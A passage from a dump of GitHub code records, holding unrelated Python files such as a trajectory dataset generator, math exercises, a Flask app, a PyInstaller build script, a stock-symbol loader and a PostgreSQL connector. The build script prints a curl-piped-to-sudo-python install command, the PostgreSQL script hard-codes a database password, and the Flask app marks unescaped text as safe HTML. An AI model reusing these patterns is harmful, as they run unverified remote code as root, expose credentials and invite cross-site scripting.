self._distribution == 'uniform':\n alims = self._angle_limits(impact_lim)\n angle = self.random.rand()*(alims[1]-alims[0])+alims[0]\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n\n elif self._distribution == 'gaussian':\n flip = lower + upper\n cur_vel = cur_vel*(np.ones(cur_vel.shape, dtype=np.int8)-2*flip)\n alims = self._angle_limits(impact_lim)\n angle = np.arctan2(cur_vel[1], cur_vel[0])\n if not (alims[0] <= angle <= alims[1]):\n angle += 2*np.pi\n # angle = self.random.normal(loc=angle, scale=0.2)\n # angle = np.clip(angle, alims[0], alims[1])\n angle = truncnorm((alims[0]-angle)/0.2, (alims[1]-angle)/0.2, loc=angle, scale=0.2).rvs()\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n\n else:\n raise NotImplementedError('Simple2D distribution: '+self._distribution)\n\n # walk with new velocity whatever distance is left for this step\n new_pos = cur_pos + max(0, speed-cur_dst)*cur_vel\n\n # if we hit the limits again, we have to change direction again\n # it's fine though if we land on the limits as step is finished\n lower, upper = new_pos < self._limits[:, 0], self._limits[:, 1] < new_pos\n out_of_limits = np.transpose(np.stack([lower, upper]))\n\n position[t+1] = new_pos\n velocity[t+1] = cur_vel\n\n assert np.all(self._limits[:, 0] <= position) and np.all(position <= self._limits[:, 1])\n features = np.concatenate([position, velocity], axis=-1)\n\n if self._label is None:\n return features\n\n # if self._label == 'features':\n # return (features, features)\n\n if self._label == 'duplicate':\n return (features, features)\n\n if self._label.split('@')[0] == 'duplicate':\n split_index = int(self._label.split('@')[1])\n return (features, features[split_index:])\n\n if self._label == 'split':\n split_index = self._seq_len//2\n return (features[:split_index], features[split_index:])\n\n if self._label.split('@')[0] == 'split':\n split_index = int(self._label.split('@')[1])\n return (features[:split_index], features[split_index:])\n\n\ndef get_dataset_name(distribution, pown, seq_len, version, size, dim):\n return 'simple2d' + \\\n '_' + distribution[:3] + \\\n '_n' + str(pown) + \\\n '_l' + str(seq_len) + \\\n '_v' + str(version) + \\\n '_s' + str(size) + \\\n '_' + str(dim) + 'd'\n\n\ndef generate_simple_2d_dataset(distribution, seq_len=20, pown=7):\n n = int(10**pown)\n dobj = simple_2d(seq_len=seq_len, distribution=distribution)\n\n data = np.zeros((n, seq_len, 4), dtype=np.float32)\n print('generate ...')\n from tqdm import tqdm\n for i in tqdm(range(n)):\n data[i] = dobj.__next__()\n\n print('test ...')\n unique = np.unique(data, axis=0)\n assert unique.shape[0] == data.shape[0]\n\n eval_batch = generate_evaluation_batch(distribution, seq_len, nsamples=1)\n print(data.shape, eval_batch.shape)\n data = np.concatenate([data, eval_batch])\n print(data.shape, eval_batch.shape)\n\n np.save(get_dataset_name(distribution, pown, seq_len, 1, 16, 4), data)\n np.save(get_dataset_name(distribution, pown, seq_len, 1, 16, 2), data[..., :2])\n\n\ndef generate_evaluation_batch(distribution, seq_len=20, nsamples=1):\n init_pos = (-8, -8)\n\n dobj = simple_2d(seq_len=seq_len, distribution=distribution)\n\n runs = []\n\n angle, speed = math.radians(11.25), 1.0\n pos = np.array(init_pos) + (16/math.cos(angle)-12)/math.sqrt(2)\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n runs.append(np.stack([dobj.__next__(init_pos=pos, init_vel=cur_vel) for _ in range(nsamples)]))\n\n angle, speed = math.radians(22.50), 1.0\n pos = np.array(init_pos) + (16/math.cos(angle)-12)/math.sqrt(2)\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n runs.append(np.stack([dobj.__next__(init_pos=pos, init_vel=cur_vel) for _ in range(nsamples)]))\n\n angle, speed = math.radians(45.00), 1.0\n pos = np.array(init_pos) + (16/math.cos(angle)-12)/math.sqrt(2)\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n runs.append(np.stack([dobj.__next__(init_pos=pos, init_vel=cur_vel) for _ in range(nsamples)]))\n\n angle, speed = math.radians(67.50), 1.0\n pos = np.array(init_pos) + (16/math.sin(angle)-12)/math.sqrt(2)\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n runs.append(np.stack([dobj.__next__(init_pos=pos, init_vel=cur_vel) for _ in range(nsamples)]))\n\n angle, speed = math.radians(0), 1.0\n pos = (-4, 0)\n cur_vel = np.array([speed*math.cos(angle), speed*math.sin(angle)])\n runs.append(np.stack([dobj.__next__(init_pos=pos, init_vel=cur_vel) for _ in range(nsamples)]))\n\n # import matplotlib.pyplot as plt\n # fig, axes = plt.subplots(len(runs), seq_len, sharey=True, sharex=True, figsize=(seq_len, len(runs)))\n # for i in range(len(runs)):\n # for t in range(seq_len):\n # axes[i, t].set_ylim(limits)\n # axes[i, t].set_xlim(limits)\n # obj = axes[i, t].scatter(runs[i][:, t, 0], runs[i][:, t, 1], marker='x', c='r')\n # plt.show()\n return np.squeeze(np.stack(runs))\n\n\nif __name__ == '__main__':\n\n generate_simple_2d_dataset('binomial', seq_len=20, pown=6)\n # generate_evaluation_batch('deterministic')\n # import matplotlib.pyplot as plt\n\n # length = 20\n # limits = (-8, 8)\n\n # nsamples = 10\n # runs = []\n\n # import time\n\n # def timeit(ds, steps=5):\n\n # start = time.time()\n # it = iter(ds)\n # for i in range(steps):\n # next(it)\n\n # end = time.time()\n # duration = end-start\n\n # print(\"{} batches: {} s\".format(steps, duration))\n # print(\"{:0.5f} Images/s\".format(steps/duration))\n\n # dobj = simple_2d(seq_len=length, distribution='gaussian', label=None, limits=limits)\n # # dobj = simple_2d(seq_len=length, distribution='binomial', label=None, limits=limits)\n # # dobj = simple_2d(seq_len=length, distribution='uniform', label=None, limits=limits)\n # # dobj = simple_2d(seq_len=length, distribution='deterministic', label=None, limits=limits)\n # # dobj(0)\n # timeit(dobj, 1000)\n\n # dobj = simple_2d(seq_len=length, distribution='deterministic', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -0.5)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='binomial', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -0.5)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='gaussian', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -0.5)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='uniform', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -0.5)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='deterministic', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -1)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='binomial', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -1)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='gaussian', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -1)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # dobj = simple_2d(seq_len=length, distribution='uniform', label=None, limits=limits)\n # samples = [dobj.__next__(init_pos=(-8, 8), init_vel=(1, -1)) for i in range(nsamples)]\n # runs.append(np.stack(samples))\n\n # print(runs[0].shape)\n\n # fig, axes = plt.subplots(len(runs), length, sharey=True, sharex=True, figsize=(length, len(runs)))\n # for i in range(len(runs)):\n # for t in range(length):\n # axes[i, t].set_ylim(limits)\n # axes[i, t].set_xlim(limits)\n # obj = axes[i, t].scatter(runs[i][:, t, 0], runs[i][:, t, 1], c='r')\n\n # plt.show()\n","repo_name":"lnschroeder/multi-modal-video-seq2seq-model","sub_path":"src/data/simple_worlds.py","file_name":"simple_worlds.py","file_ext":"py","file_size_in_byte":12899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2193680452","text":"import itertools\n\n\ndef divide_list(lst, n):\n return [list(i) for i in itertools.zip_longest(*[iter(lst)]*n, fillvalue=None)]\n\ndef algo_euclide(a, b):\n if b == 0:\n return a\n\n else:\n return algo_euclide(b, a % b)\n\ndef test_premier(n):\n for i in range(2,n):\n if n%i == 0 :\n return False\n \n\n\ndef est_premier(a,b):\n if(algo_euclide(a,b)==1):\n return True\n else:\n return False\n\ndef indicatrice_euler(n):\n indicatrice = 0\n i=1\n for i in range(n):\n if algo_euclide(i,n) == 1:\n indicatrice+=1\n\n print(\"indic :\",indicatrice)\n\n\ndef inverse_mod(n,mod):\n for i in range(mod): \n if((i*n)%mod ==1):\n return i\n\ndef ordre(a,n):\n for i in range(1,n):\n if((a**i)%n==1):\n return i\n\n\ndef test_shor(n):\n lfacteur = []\n for a in range(2,n):\n r=ordre(a,n)\n if(est_premier(a,n)):\n lfacteur.append(algo_euclide((a**(r/2))-1,n))\n lfacteur.append(algo_euclide((a**(r/2))+1,n))\n #print(\"d : \",algo_euclide((a**(r/2))-1,n),\" d' : \",algo_euclide((a**(r/2))+1,n))\n \n\n\n lfacteur = list(set(lfacteur))\n\n #del lfacteur[-1]\n \n lfacteur = [x for x in lfacteur if x > 1]\n \n lfacteur.remove(n)\n if not(lfacteur):\n print(n,\" est un nombre premier\")\n else : \n \n print(\"Les facteurs sont : \",lfacteur) \n\n \n\ndef echant(n,e):\n l=[]\n echantillon=[]\n for i in range(0,n):\n if test_premier(i) != False:\n l.append(i)\n print(\"Il y a\",len(l),\"nombres premiers de 0 à\",n)\n d_list = divide_list(l,5)\n print(d_list)\n\n \n\n\n\n\ntest_shor(72)\n\n","repo_name":"Joaquim2805/Prime_number","sub_path":"Prime-number/Premier test.py","file_name":"Premier test.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70643901956","text":"# import the Flask class from the flask module\nfrom flask import Flask, render_template, redirect, url_for, request, Markup\nimport sys\nsys.path.append(\"..\")\nfrom start import analyze\n# create the application object\napp = Flask(__name__)\n\ncredentials = '../secret/client_secret.json'\n\n\n# use decorators to link the function to a url\n@app.route('/')\ndef home():\n return render_template('main.html') # return a string\n\n@app.route('/analytics')\ndef analytics():\n info, user_id, success = analyze(credentials)\n if not success:\n sys.exit(0)\n args = {\"info_{0}\".format(k) : Markup(v.replace('\\n', \"
\")) for (k, v) in enumerate(info)}\n ans = render_template('analytics.html', **args, user_id=user_id)\n return ans # return a string\n\n@app.route('/contacts')\ndef contacts():\n return render_template('contacts.html') # render a template\n\n\n# start the server with the 'run()' method\nif __name__ == '__main__':\n app.run(debug=False)\n","repo_name":"Barahlush/gdisk-analyzer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23629722921","text":"import string\n\ngstr = ' acbedgfihkjmlonpsrutwvyxqz'\nhstr = ' yehosvcdxiulgkbrntjwfpamzq'\n\ntranslationtable = string.maketrans(gstr,hstr)\nfn = raw_input('File Name:')\nf = open(fn)\no = open('output.txt','w')\n\nnumber_of_items = int(f.readline())\n\nfor i in range(number_of_items):\n\tgree = f.readline()\n\to.write(\"Case #\" + str(i+1) +': '+ gree.translate(translationtable))\n\nf.close()\no.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_95/1114.py","file_name":"1114.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23390767531","text":"import sys\r\nimport math\r\n\r\ndef sqrt(n):\r\n\tx = n\r\n\ty = (x + n // x) // 2\r\n\twhile y < x:\r\n\t\tx = y\r\n\t\ty = (x + n // x) // 2\r\n\treturn x\r\n\t\r\ndef palindrome(n):\r\n\ts = str(n)\r\n\tfirst_half = s[:int(math.floor(len(s)/2.0))]\r\n\tsecond_half = s[int(math.ceil(len(s)/2.0)):]\r\n\treturn first_half == second_half[::-1]\r\n\r\ndef main():\r\n\tinput = sys.argv[1]\r\n\toutput = sys.argv[2]\r\n\t\r\n\tcases = 0\r\n\tranges = []\r\n\twith open(input, 'r') as f:\r\n\t\tcases = int(f.readline())\r\n\t\ti = 0\r\n\t\twhile i < cases:\r\n\t\t\tline = f.readline()\r\n\t\t\tsplit = line.split(' ')\r\n\t\t\tif len(split) < 2:\r\n\t\t\t\tbreak\r\n\t\t\tnumbers = []\r\n\t\t\tfor s in split:\r\n\t\t\t\tnumbers.append(int(s))\r\n\t\t\tranges.append(numbers)\r\n\t\t\t\r\n\twith open(output, 'w') as f:\r\n\t\ti = 1\r\n\t\tfor r in ranges:\r\n\t\t\tfair_and_square = 0\r\n\t\t\tfor n in range(r[0], r[1]+1):\r\n\t\t\t\tif (palindrome(n)):\r\n\t\t\t\t\troot = sqrt(n)\r\n\t\t\t\t\tif root**2 == n and palindrome(root):\r\n\t\t\t\t\t\tfair_and_square += 1\r\n\t\t\tf.write('Case #' + str(i) + ': ' + str(fair_and_square) + '\\n')\r\n\t\t\ti += 1\r\n\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/1115.py","file_name":"1115.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23860506098","text":"for _ in range(int(input())):\n a, b = list(map(int, input().split()))\n s = input()\n n = len(s)\n arr = list(map(int, list(s)))\n z = arr.count(1)\n cost1 = z * a\n arr2 = [arr[0]]\n for f in range(1, n):\n if arr[f] == 1 and arr[f - 1] != 1:\n arr2.append(1)\n elif arr[f] == 0:\n arr2.append(0)\n cnt = 0\n ans = 0\n for k in range(len(arr2)):\n if arr2[k] == 0:\n cnt += 1\n else:\n if ans == 0:\n ans = a\n else:\n ans = min(a+ans, ans + (cnt*b))\n cnt = 0\n print(ans)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Saving the City.py","file_name":"Saving the City.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27397229327","text":"from pprint import pprint\n\nd = [\n('Hendrix' , '1942'),\n('Allman' , '1946'),\n('King' , '1925'),\n('Clapton' , '1945'),\n('Johnson' , '1911'),\n('Berry' , '1926'),\n('Vaughan' , '1954'),\n('Cooder' , '1947'),\n('Page' , '1944'),\n('Richards' , '1943'),\n('Hammett' , '1962'),\n('Cobain' , '1967'),\n('Garcia' , '1942'),\n('Beck' , '1944'),\n('Santana' , '1947'),\n('Ramone' , '1948'),\n('White' , '1975'),\n('Frusciante', '1970'),\n('Thompson' , '1949'),\n('Burton' , '1939')\n]\n\n\ndef merge_doubicate_tupels_value(tups):\n i, j = 0, 1\n while i < len(tups):\n tmp = j\n while j < len(tups):\n if tups[i][1] == tups[j][1]:\n tups[i] = (tups[i][0], *tups[j])\n tups.pop(tups.index(tups[j]))\n j += 1\n j = tmp + 1\n i += 1\n return tups\n\n\ndef tups_to_dict(tups):\n d = {}\n for item in tups:\n if len(item) > 2:\n d.update({item[2]: [item[0], item[1]]})\n else:\n d.update({item[1]: item[0]})\n return d\n\n\ndef print_dict(item):\n\n for k, v in item.items():\n print(k, ':', end=' ')\n if type(v) is list:\n print(*v)\n else:\n print(v)\n\n\nif __name__ == '__main__':\n merged_tups = merge_doubicate_tupels_value(d)\n dictionary = tups_to_dict(merged_tups)\n sorted_dic = sorted(dictionary.items(), reverse=True)\n sorted_dic = (dict(sorted_dic))\n print_dict(sorted_dic)","repo_name":"mmizin/42_django","sub_path":"day01/ex02/var_to_dict.py","file_name":"var_to_dict.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39104111888","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n\nimport os\nfrom subprocess import Popen, PIPE, CalledProcessError, STDOUT\nimport sys\n\n\ndef main():\n # Set up your files and dirs for the build\n base_dir = os.path.dirname(os.path.abspath(__file__))\n requirements_file = os.path.join(os.path.abspath(base_dir), 'requirements.txt')\n webbreaker_main = os.path.join(os.path.abspath(base_dir), 'webbreaker', '__main__.py')\n pyinstaller_file = os.path.join(os.path.abspath(base_dir), 'dist', 'webbreaker')\n distro = sys.platform\n\n # initialize python\n try:\n if os.path.isfile(sys.executable):\n python_exe = sys.executable\n else:\n print(\"No python executable was found!\")\n\n except (NameError, OSError, AttributeError) as e:\n # Every other OS use this\n print(\"No python executable was found: {}\".format(e))\n\n # Declare site-packages and user bin for console scripts on modules\n user_site = [python_exe, '-m', 'site', '--user-site']\n # Set user bin directory for py modules installed\n user_bin = [python_exe, '-m', 'site', '--user-base']\n\n def cmdline(command):\n process = Popen(\n args=command,\n stdout=PIPE,\n stderr=STDOUT\n )\n output = str(process.communicate()[0].decode('utf-8')).rstrip()\n if process.returncode >= 2:\n sys.stderr.write(\"An error occurred while executing {0} command.\".format(command))\n raise SystemExit\n return output\n\n try:\n if os.path.exists(python_exe):\n if cmdline('pip'):\n try:\n # Install openssl, wheel and pyinstaller\n print(\"Validating and installing from pip open_ssl, wheel, and pyinstaller modules...\")\n # Added condition for virtual environments\n retcode_pyopenssl = cmdline(['pip', 'install', '--user', 'pyOpenSSL'])\n if retcode_pyopenssl != 0:\n cmdline(['pip', 'install', 'pyOpenSSL'])\n\n # Added condition for virtual environments\n retcode_wheel = cmdline(['pip', 'install', '--user', 'wheel'])\n if retcode_wheel != 0:\n cmdline(['pip', 'install', 'wheel'])\n\n # Added condition for virtual environments\n retcode_pyinstaller = cmdline(['pip', 'install', '--user', 'pyinstaller==3.3'])\n if retcode_pyinstaller != 0:\n cmdline(['pip', 'install', 'pyinstaller==3.3'])\n \n # Run requirements\n print(\"Installing requirements.txt...\")\n if os.path.isfile(requirements_file):\n retcode_requirements = cmdline(['pip', \"install\", \"--user\", \"-r\", requirements_file])\n if retcode_requirements !=0:\n cmdline(['pip', \"install\", \"-r\", requirements_file])\n \n # Install and run pyinstaller\n print(\"Starting pyinstaller build...\")\n try:\n # Use scripts from user_base\n pyinstaller_exe = os.path.abspath(os.path.join(cmdline(user_bin), 'bin', 'pyinstaller'))\n\n if not os.path.exists(pyinstaller_exe):\n pyinstaller_exe = os.path.abspath(os.path.join('/usr', 'bin', 'pyinstaller'))\n\n if distro == \"darwin\":\n cmdline([pyinstaller_exe, \"--clean\", \"-y\", \"--nowindowed\", \"--console\", \"--onefile\",\n \"--name\", \"webbreaker\", \"--osx-bundle-identifier\", \"com.target.ps.webbreaker\",\n \"-p\", str(user_site), str(webbreaker_main)])\n\n print(\"Successfully built an osx distro {}!\".format(pyinstaller_file))\n\n elif distro == \"linux2\":\n cmdline([pyinstaller_exe, \"--clean\", \"-y\", \"--nowindowed\", \"--console\", \"--onefile\",\n \"--name\", \"webbreaker\", \"-p\", str(user_site), str(webbreaker_main)])\n print(\"Successfully built {}!\".format(pyinstaller_file))\n\n else:\n print(\"We cannot build on your OS!\")\n\n except (NameError, AttributeError, OSError) as e:\n print(\"No pyinstaller was found: {0} or an error occured with your pyinstaller command\"\n \" -> {1}!!\"\n .format(e, 'pyinstaller'))\n\n else:\n sys.stderr.write(\"{} does not exist\\n\".format(requirements_file))\n raise SystemExit\n except (OSError, NameError):\n print(\n \"There was an issue installing the python requirements and executing pyinstaller, \"\n \"these commands manually --> \\npip install --user -r {0}\\n\"\n \"\\npyinstaller --clean -y --onefile --name webbreaker -p \"\n \"{1}, {2}\\n\".format(requirements_file, cmdline(user_site), webbreaker_main))\n exit(1)\n\n else:\n sys.stderr.write(\"Congratulations your build is successful on {0} version {1}!\\n\"\n .format(distro, os.uname()[2]))\n\n else:\n sys.stderr.write(\"Please install pip: \\n\"\n \"curl -fsSL https://bootstrap.pypa.io/get-pip.py | sudo python\")\n exit(1)\n else:\n sys.stderr.write(\"PyInstaller bindings prefer the original OSX Python 2.7\\n\")\n exit(1)\n\n except (IOError, NameError, CalledProcessError):\n sys.stderr.write(\"Your system does not meet the minimum requirements to compile the WebBreaker static binary!\\n\")\n except OSError as e:\n sys.stderr.write(\"Please install pip with...\\n{0}\\nor perhaps pyinstaller does not have the appropriate ownership or\"\n \" permissions: {1}\\n\".format('sudo easy_install pip', e))\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"vanbenschoten/webbreaker","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"41191594993","text":"import FWCore.ParameterSet.Config as cms\n\nhltMhtProducer = cms.EDProducer('HLTMhtProducer',\n usePt = cms.bool(True),\n excludePFMuons = cms.bool(False),\n minNJet = cms.int32(0),\n minPtJet = cms.double(0),\n maxEtaJet = cms.double(999),\n jetsLabel = cms.InputTag('hltAntiKT4PFJets'),\n pfCandidatesLabel = cms.InputTag('hltParticleFlow'),\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"HLTrigger/JetMET/hltMhtProducer_cfi.py","file_name":"hltMhtProducer_cfi.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18525458623","text":"#1) Looks at what CSV files are in ./stockSymbolList Directory and looks for files of stocks\n#2) Iterates through the \"list of exchanges\" \n#3) parses in CSV and gets list of stocks\n#4) Connects to DB and inserts stocks into DB, then disconnects at end\n\nimport csv\nfrom os import listdir\nfrom os.path import isfile, join\nimport dbController\t\t#controls the inserting of into MYSQL\n\n#goes into directory specified, and pulls all *.csv files of each exchange\ndef getListOfExchanges(directory):\n\treturn [ f for f in listdir(directory) if isfile(join(directory,f)) ]\n\ndef getListOfStocks(directory, exchangeFile):\n\tlistOfStocks = []\n\tfileReader = csv.reader(open(directory+exchangeFile), delimiter=\",\")\n\tfirstRow = True \t\t#Allows program to skip the first row of csv\n\tfor line in fileReader:\n\t\tif firstRow == True:\tfirstRow = False\n\t\telse:\n\t\t\tstock = line[0].split('\\t')\n\t\t\tsymbol = stock[0]\n\t\t\tcompanyName = stock[1]\n\t\t\tlistOfStocks.append([symbol, companyName])\n\treturn listOfStocks\n\ndirExchanges = \"./stockSymbolList/\" #Where the exchange directory is stored\nlistOfExchanges = getListOfExchanges(dirExchanges)\nfor i in range(len(listOfExchanges)):\n\texchange = listOfExchanges[i].split(\".\")[0]\n\tlistOfStocks = getListOfStocks(dirExchanges,listOfExchanges[i])\n\tdbController.insertListOfSymbols(exchange, listOfStocks)\n","repo_name":"DarthYogurt/StockAnalyzer","sub_path":"getSymbolPutInDB.py","file_name":"getSymbolPutInDB.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15585293937","text":"# region postgre_connector:postgreとのデータをやり取りするスクリプト OK\nimport pandas as pd\nimport psycopg2\nfrom sqlalchemy import create_engine\nimport numpy as np\n\n# ①初期設定\nDATABASE = 'postgresql'\nUSER = 'postgres'\nPASSWORD = 'taku0703'\nHOST = 'localhost'\nPORT = '5432'\nDB_NAME = 'everydb2'\nCONNECT_STR = '{}://{}:{}@{}:{}/{}'.format(DATABASE, USER, PASSWORD, HOST, PORT, DB_NAME)\n# connect postgreSQL ポスグレ接続\nconn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\ncursor = conn.cursor() # データベースを操作できるようにする\n\n# cur.execute('SQL') SQL実行\n# ------------- 実行ここから\n# postgreからpandasにデータを出力\n# 元データ\nsql1 = \"SELECT * FROM public.n_uma;\" # 実行SQL 競走馬マスタ\nsql2 = \"SELECT * FROM public.n_uma_race;\" # 実行SQL 馬毎レース情報\nsql3 = \"SELECT * FROM public.n_race;\" # 実行SQL レース詳細\nsql4 = \"SELECT * FROM public.n_harai;\" # 実行SQL 払い戻し\nsql5 = \"SELECT * FROM public.n_kisyu_seiseki;\" # 実行SQL 騎手成績\nsql6 = \"SELECT * FROM public.n_kisyu;\" # 実行SQL 騎手成績\n# 5走分データ\nsql7 = 'SELECT * FROM public.\"0Input_Data_Uma\" ORDER BY index ASC;' # 教師データ\nsql8 = 'SELECT * FROM public.\"0Input_Data_Race\" ORDER BY index ASC;' # 教師データ\nsql9 = 'SELECT * FROM public.\"1Input_Data_Uma\" ORDER BY index ASC;' # 教師データ\nsql10 = 'SELECT * FROM public.\"1Input_Data_Race\" ORDER BY index ASC;' # 教師データ\nsql11 = 'SELECT * FROM public.\"2Input_Data_Uma\" ORDER BY index ASC;' # 教師データ\nsql12 = 'SELECT * FROM public.\"2Input_Data_Race\" ORDER BY index ASC;' # 教師データ\nsql13 = 'SELECT * FROM public.\"3Input_Data_Uma\" ORDER BY index ASC;' # 教師データ\nsql14 = 'SELECT * FROM public.\"3Input_Data_Race\" ORDER BY index ASC;' # 教師データ\nsql15 = 'SELECT * FROM public.\"4Input_Data_Uma\"; ORDER BY index ASC' # 教師データ\nsql16 = 'SELECT * FROM public.\"4Input_Data_Race\" ORDER BY index ASC;' # 教師データ\nsql17 = 'SELECT * FROM public.\"5Input_Data_Uma\" ORDER BY index ASC;' # 教師データ\nsql18 = 'SELECT * FROM public.\"5Input_Data_Race\" ORDER BY index ASC;' # 教師データ\n# 特徴量作成用データ\nsql19 = 'SELECT * FROM public.\"data_sakuseiyou\" ORDER BY index ASC;' # 教師データ\n# sql20 = 'SELECT * FROM public.\"tmp\";'#教師データ\nsql20 = 'SELECT * FROM public.\"tokutyo_moto\" ORDER BY index ASC;' # 教師データ\n# 特徴量データ\nsql21 = 'SELECT * FROM public.\"t_kisyu_box_tanharai\" ORDER BY index ASC;' # 教師データ\nsql22 = 'SELECT * FROM public.\"t_kisyu_box_fukuharai\" ORDER BY index ASC;' # 教師データ\nsql23 = 'SELECT * FROM public.\"t_kisyu_box_syouritu\" ORDER BY index ASC;' # 教師データ\nsql24 = 'SELECT * FROM public.\"t_kisyu_box_fukuritu\" ORDER BY index ASC;' # 教師データ\nsql25 = 'SELECT * FROM public.\"t_chokyo_box_tanharai\" ORDER BY index ASC;' # 教師データ\nsql26 = 'SELECT * FROM public.\"t_chokyo_box_fukuharai\" ORDER BY index ASC;' # 教師データ\nsql27 = 'SELECT * FROM public.\"t_chokyo_box_syouritu\" ORDER BY index ASC;' # 教師データ\nsql28 = 'SELECT * FROM public.\"t_chokyo_box_fukuritu\" ORDER BY index ASC;' # 教師データ\nsql29 = 'SELECT * FROM public.\"t_banu_box_tanharai\" ORDER BY index ASC;' # 教師データ\nsql30 = 'SELECT * FROM public.\"t_banu_box_fukuharai\" ORDER BY index ASC;' # 教師データ\nsql31 = 'SELECT * FROM public.\"t_banu_box_syouritu\" ORDER BY index ASC;' # 教師データ\nsql32 = 'SELECT * FROM public.\"t_banu_box_fukuritu\" ORDER BY index ASC;' # 教師データ\nsql33 = 'SELECT * FROM public.\"t_syu_box_tanharai\" ORDER BY index ASC;' # 教師データ\nsql34 = 'SELECT * FROM public.\"t_syu_box_fukuharai\" ORDER BY index ASC;' # 教師データ\nsql35 = 'SELECT * FROM public.\"t_syu_box_syouritu\" ORDER BY index ASC;' # 教師データ\nsql36 = 'SELECT * FROM public.\"t_syu_box_fukuritu\" ORDER BY index ASC;' # 教師データ\nsql37 = 'SELECT * FROM public.\"t_kisyu_sample\" ORDER BY index ASC;' # サンプル数\nsql38 = 'SELECT * FROM public.\"t_chokyo_sample\" ORDER BY index ASC;' # サンプル数\nsql39 = 'SELECT * FROM public.\"t_banu_sample\" ORDER BY index ASC;' # サンプル数\nsql40 = 'SELECT * FROM public.\"t_syu_sample\" ORDER BY index ASC;' # サンプル数\nsql41 = 'SELECT * FROM public.\"t_kisyu_main\" ORDER BY index ASC;' # サンプル数\nsql42 = 'SELECT * FROM public.\"t_chokyo_main\" ORDER BY index ASC;' # サンプル数\nsql43 = 'SELECT * FROM public.\"t_banu_main\" ORDER BY index ASC;' # サンプル数\nsql44 = 'SELECT * FROM public.\"t_syu_main\" ORDER BY index ASC;' # サンプル数\n# スピード指数作成用データ\nsql45 = 'SELECT * FROM public.\"a_time\" ORDER BY index ASC;' # 教師データ\n# スピード指数データ\nsql46 = 'SELECT * FROM public.\"speed_index\" ORDER BY index ASC;' # 教師データ\n\n# pandasで読み込み---------------------------------------------------------------\n# 元データ\nn_uma_pro = pd.read_sql(sql1, conn) # sql:実行したいsql,conn:対象のdb名\nn_uma_race = pd.read_sql(sql2, conn) # sql:実行したいsql,conn:対象のdb名\nn_race = pd.read_sql(sql3, conn) # sql:実行したいsql,conn:対象のdb名\nn_harai = pd.read_sql(sql4, conn) # sql:実行したいsql,conn:対象のdb名\n# n_kisyu_sei = pd.read_sql(sql5, conn)#sql:実行したいsql,conn:対象のdb名\n# n_kisyu = pd.read_sql(sql6, conn)#sql:実行したいsql,conn:対象のdb名\n# 5走分データ 全部取得するとメモリ95%とかになる\n# n_input_0uma = pd.read_sql(sql7, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_0race = pd.read_sql(sql8, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_1uma = pd.read_sql(sql9, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_1race = pd.read_sql(sql10, conn)#sql:実行したいsql,conn:対象のdb名\n# n_input_2uma = 